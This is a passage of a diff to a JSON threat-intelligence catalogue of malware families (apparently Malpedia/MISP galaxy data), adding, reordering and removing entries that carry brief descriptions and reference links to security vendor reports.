"https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA", "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", + "https://blogs.blackberry.com/en/2021/11/zebra2104", "https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/" @@ -33563,6 +39520,7 @@ "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001", "https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/", "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", "https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html", @@ -33591,6 +39549,21 @@ "uuid": "efe586da-a272-4898-9ebb-587f8f5a23ca", "value": "SUCEFUL" }, + { + "description": "Ransomware, written in Delphi.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugar", + "https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb", + "https://cyware.com/news/newly-found-sugar-ransomware-is-now-being-offered-as-raas-641cfa69", + "https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ea7d0457-3625-4224-aed4-739a360b10d3", + "value": "Sugar" + }, { "description": "FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.", "meta": { @@ -33607,6 +39580,7 @@ "https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/", "https://github.com/github/codeql/tree/main/csharp/ql/src/experimental/Security%20Features/campaign", "https://us-cert.cisa.gov/ncas/alerts/aa20-352a", + "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", "https://www.domaintools.com/resources/blog/continuous-eruption-further-analysis-of-the-solarwinds-supply-incident", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/additional-analysis-into-the-sunburst-backdoor/", "https://twitter.com/cybercdh/status/1339241246024404994", @@ -33647,6 +39621,7 @@ "https://www.trustedsec.com/blog/solarwinds-orion-and-unc2452-summary-and-recommendations/", "https://www.splunk.com/en_us/blog/security/smoothing-the-bumps-of-onboarding-threat-indicators-into-splunk-enterprise-security.html", "https://www.cisa.gov/supply-chain-compromise", + "https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html", "https://blog.gigamon.com/2021/07/27/ghosts-on-the-wire-expanding-conceptions-of-network-anomalies/", "https://www.comae.com/posts/sunburst-memory-analysis/", "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", @@ -33658,10 +39633,11 @@ "https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs", "https://techcommunity.microsoft.com/t5/azure-sentinel/solarwinds-post-compromise-hunting-with-azure-sentinel/ba-p/1995095", "https://www.elastic.co/blog/supervised-and-unsupervised-machine-learning-for-dga-detection", - "https://twitter.com/KimZetter/status/1338305089597964290", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-unique-dga", "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/", "https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", "https://www.bleepingcomputer.com/news/security/mimecast-links-security-breach-to-solarwinds-hackers/", "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "https://www.aon.com/cyber-solutions/aon_cyber_labs/cloudy-with-a-chance-of-persistent-email-access/", @@ -33710,7 +39686,7 @@ "https://www.cadosecurity.com/post/responding-to-solarigate", "https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach", "https://www.microsoft.com/security/blog/2021/01/14/increasing-resilience-against-solorigate-and-other-sophisticated-attacks-with-microsoft-defender/", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://twitter.com/KimZetter/status/1338305089597964290", "https://news.sophos.com/en-us/2020/12/14/solarwinds-playbook/", "https://twitter.com/ItsReallyNick/status/1338382939835478016", "https://corelight.blog/2020/12/15/finding-sunburst-backdoor-with-zeek-logs-and-corelight/", @@ -33741,15 +39717,18 @@ "https://www.mimecast.com/blog/important-security-update/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-attacks-stealthy-attackers-attempted-evade-detection", "https://www.splunk.com/en_us/blog/security/sunburst-backdoor-detections-in-splunk.html", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", "https://twitter.com/lordx64/status/1338526166051934213", "https://www.netresec.com/?page=Blog&month=2020-12&post=Reassembling-Victim-Domain-Fragments-from-SUNBURST-DNS", "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", "https://vrieshd.medium.com/finding-sunburst-victims-and-targets-by-using-passivedns-osint-68f5704a3cdc", + "https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf", "https://github.com/fireeye/Mandiant-Azure-AD-Investigator", "https://www.consilium.europa.eu/en/press/press-releases/2021/04/15/declaration-by-the-high-representative-on-behalf-of-the-european-union-expressing-solidarity-with-the-united-states-on-the-impact-of-the-solarwinds-cyber-operation", "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", "https://www.bleepingcomputer.com/news/security/nasa-and-the-faa-were-also-breached-by-the-solarwinds-hackers/", "https://www.mimecast.com/incident-report/", + "https://www.mandiant.com/media/10916/download", "https://vxug.fakedoma.in/samples/Exotic/UNC2452/SolarWinds%20Breach/", "https://twitter.com/cybercdh/status/1338885244246765569", "https://research.checkpoint.com/2021/deep-into-the-sunburst-attack/", @@ -33772,23 +39751,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt", - "https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/", - "https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://cdn.pathfactory.com/assets/10555/contents/394789/0dd521f8-aa64-4517-834e-bc852e9ab95d.pdf", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.tesorion.nl/en/posts/shining-a-light-on-suncrypts-curious-file-encryption-mechanism/", + "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", + "https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://medium.com/@sapphirex00/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83", "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", - "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc" + "https://blog.minerva-labs.com/suncrypt-ransomware-gains-new-abilities-in-2022", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-is-still-alive-and-kicking-in-2022/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html" ], "synonyms": [], "type": [] @@ -33810,6 +39794,20 @@ "uuid": "a51b82ba-7e32-4a8e-b5d0-8d0441bdcce4", "value": "SunOrcal" }, + { + "description": "According to Proofpoint, this is a Lua-based malware likely used by a nation-state sponsored attacker used to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunseed", + "https://blogs.blackberry.com/en/2022/03/threat-thursday-sunseed-malware", + "https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a89f7e01-b049-4d09-aca3-ce19d91c4544", + "value": "SunSeed" + }, { "description": "", "meta": { @@ -33847,8 +39845,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox", - "https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1", + "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", "https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", + "https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1", "https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim", "https://www.symantec.com/connect/blogs/bayrob-three-suspects-extradited-face-charges-us" ], @@ -33874,6 +39873,20 @@ "uuid": "8666afcc-8cc2-4856-83de-b7e8b4309367", "value": "surtr" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready", + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", + "https://www.socinvestigation.com/new-svcready-malware-loads-from-word-doc-properties-detection-response/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "20157c10-2a5f-49d9-baf5-d350fb65c06e", + "value": "SVCReady" + }, { "description": "", "meta": { @@ -33910,6 +39923,7 @@ "https://www.secureworks.com/research/threat-profiles/bronze-edison", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/", + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", "https://www.symantec.com/connect/blogs/sykipot-attacks" ], "synonyms": [ @@ -34017,6 +40031,21 @@ "uuid": "a4b9c526-42d0-4de9-ab8e-e78f99655d11", "value": "SysGet" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker", + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/", + "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "16387289-9064-4ae9-8493-0a3623cdfd9a", + "value": "SysJoker (Windows)" + }, { "description": "", "meta": { @@ -34054,6 +40083,19 @@ "uuid": "f90e9fb9-d60d-415e-9f7f-786ee45f6947", "value": "Sysraw Stealer" }, + { + "description": "Sysrv is a Golang written Cryptojacking malware. There are Windows and Linux variants.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysrv_hello", + "https://www.lacework.com/blog/sysrv-hello-expands-infrastructure/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cabc5944-195e-4939-a00f-a3cd6758f308", + "value": "Sysrv-hello (Windows)" + }, { "description": "", "meta": { @@ -34071,16 +40113,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", - "https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://asec.ahnlab.com/en/33600/", + "https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits", "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/", - "https://news.sophos.com/en-us/2020/12/16/systembc/" + "https://news.sophos.com/en-us/2020/12/16/systembc/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" ], "synonyms": [], "type": [] @@ -34128,8 +40176,9 @@ "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf", "http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html", - "https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat", "https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1", + "https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat", + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf" ], "synonyms": [ @@ -34192,6 +40241,24 @@ "uuid": "71e77349-98f5-49c6-bff7-6ed3b3d79410", "value": "Tapaoux" }, + { + "description": "This ransomware uses a combination of different crypto algorithms (ChaCha20, AES-128, Curve25519). The activity of this malware is dated to mid-June 2021. The extension of the encrypted files are set to the compromised company: .\r\nA decryptor was released on 2022-02-07 by AVAST", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany", + "https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html", + "https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html", + "https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-targetcompany-ransomware-victims/" + ], + "synonyms": [ + "Tohnichi" + ], + "type": [] + }, + "uuid": "77af876d-84c5-4da3-a2b0-2fe5c77f758c", + "value": "TargetCompany" + }, { "description": "", "meta": { @@ -34312,9 +40379,10 @@ "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", "https://twitter.com/craiu/status/1339954817247158272", "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", + "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", "https://www.youtube.com/watch?v=LA-XE5Jy2kU", "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b", "https://github.com/fireeye/sunburst_countermeasures", "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", @@ -34323,9 +40391,10 @@ "https://twitter.com/TheEnergyStory/status/1346096298311741440", "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", - "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", + "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "https://twitter.com/TheEnergyStory/status/1342041055563313152", "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", @@ -34412,6 +40481,20 @@ "uuid": "b71f1656-975a-4daa-8109-00c30fd20410", "value": "TeleDoor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass", + "https://www.crowdstrike.com/blog/tellyouthepass-ransomware-analysis-reveals-modern-reinterpretation-using-golang/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fa1dbbef-c2b0-44a2-8457-764dfc99be17", + "value": "TellYouThePass" + }, { "description": "", "meta": { @@ -34424,19 +40507,6 @@ "uuid": "26b2c2c0-036e-4e3a-a465-71a391046b74", "value": "Tempedreve" }, - { - "description": "A downloader written in Delphi that does direct decryption and memory injection of the payloads it fetches from services like OneDrive into benign processes such as dpiscaling.exe or mobsync.exe. It was observed to download Remcos.", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.temple_loader", - "https://app.any.run/tasks/cd25d8c3-1944-4fa0-a4be-436dc1389fca/" - ], - "synonyms": [], - "type": [] - }, - "uuid": "9143b544-ab77-4331-a49c-b420ca89e9c3", - "value": "TempleLoader" - }, { "description": "", "meta": { @@ -34460,6 +40530,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite", + "https://www.mandiant.com/resources/evolution-of-fin7", "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", "https://www.alienvault.com/blogs/labs-research/internet-of-termites" ], @@ -34668,11 +40739,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx", "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://www.bleepingcomputer.com/news/security/thunderx-ransomware-rebrands-as-ranzy-locker-adds-data-leak-site/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/" + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps", + "https://www.ic3.gov/Media/News/2021/211026.pdf" ], "synonyms": [ "Ranzy Locker" @@ -34709,11 +40783,15 @@ "value": "Tidepool" }, { - "description": "under investigation, potentially linked to win.unidentified_082.", + "description": "This is third stage backdoor mentioned in the Kaspersky blog, \"Andariel evolves to target South Korea with ransomware\". The third stage payload was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is another portable executable file that runs in memory. Before getting decrypted with a hardcoded XOR key, the backdoor also checks for sandbox environment.\r\nThe backdoor has some code overlap with a know malware family PEBBLEDASH, attributed to Lazarus/LABYRINTH CHOLLIMA.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat", - "https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf" + "https://www.brighttalk.com/webcast/18282/493986", + "https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", + "https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf", + "https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html" ], "synonyms": [], "type": [] @@ -34735,14 +40813,15 @@ "value": "tildeb" }, { - "description": "", + "description": "F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.\r\n\r\nIf Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, log-in credentials, etc in the legitimate-looking page.\r\n\r\nTinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba", "https://adalogics.com/blog/the-state-of-advanced-code-injections", - "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant", "https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/", + "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "http://contagiodump.blogspot.com/2012/06/amazon.html", @@ -34788,6 +40867,7 @@ "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://twitter.com/VK_Intel/status/1273292957429510150", "https://www.secureworks.com/research/threat-profiles/gold-niagara", @@ -34807,10 +40887,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke", + "https://asec.ahnlab.com/en/32781/", "https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet", "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702", "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html", "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/", + "https://asec.ahnlab.com/en/27346/", "https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/", "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", "https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/", @@ -34860,6 +40942,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla", + "https://cybergeeks.tech/a-step-by-step-analysis-of-the-russian-apt-turla-backdoor-called-tinyturla/", "https://blog.talosintelligence.com/2021/09/tinyturla.html" ], "synonyms": [], @@ -34907,11 +40990,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee", - "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", "https://www.cert.pl/en/news/single/tofsee-en/", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/", + "https://intel471.com/blog/privateloader-malware", + "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", "https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/", - "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/", - "https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/" + "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/" ], "synonyms": [ "Gheg" @@ -34921,6 +41006,20 @@ "uuid": "53e617fc-d71e-437b-a1a1-68b815d1ff49", "value": "Tofsee" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox", + "https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact-part-2/", + "https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ad23afb8-cfce-4e43-b73f-58ca20fa0afe", + "value": "TokyoX" + }, { "description": "", "meta": { @@ -34970,7 +41069,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma", "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", - "http://blog.nsfocus.net/stumbzarus-apt-lazarus/" + "http://blog.nsfocus.net/stumbzarus-apt-lazarus/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/" ], "synonyms": [], "type": [] @@ -34999,7 +41099,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye", - 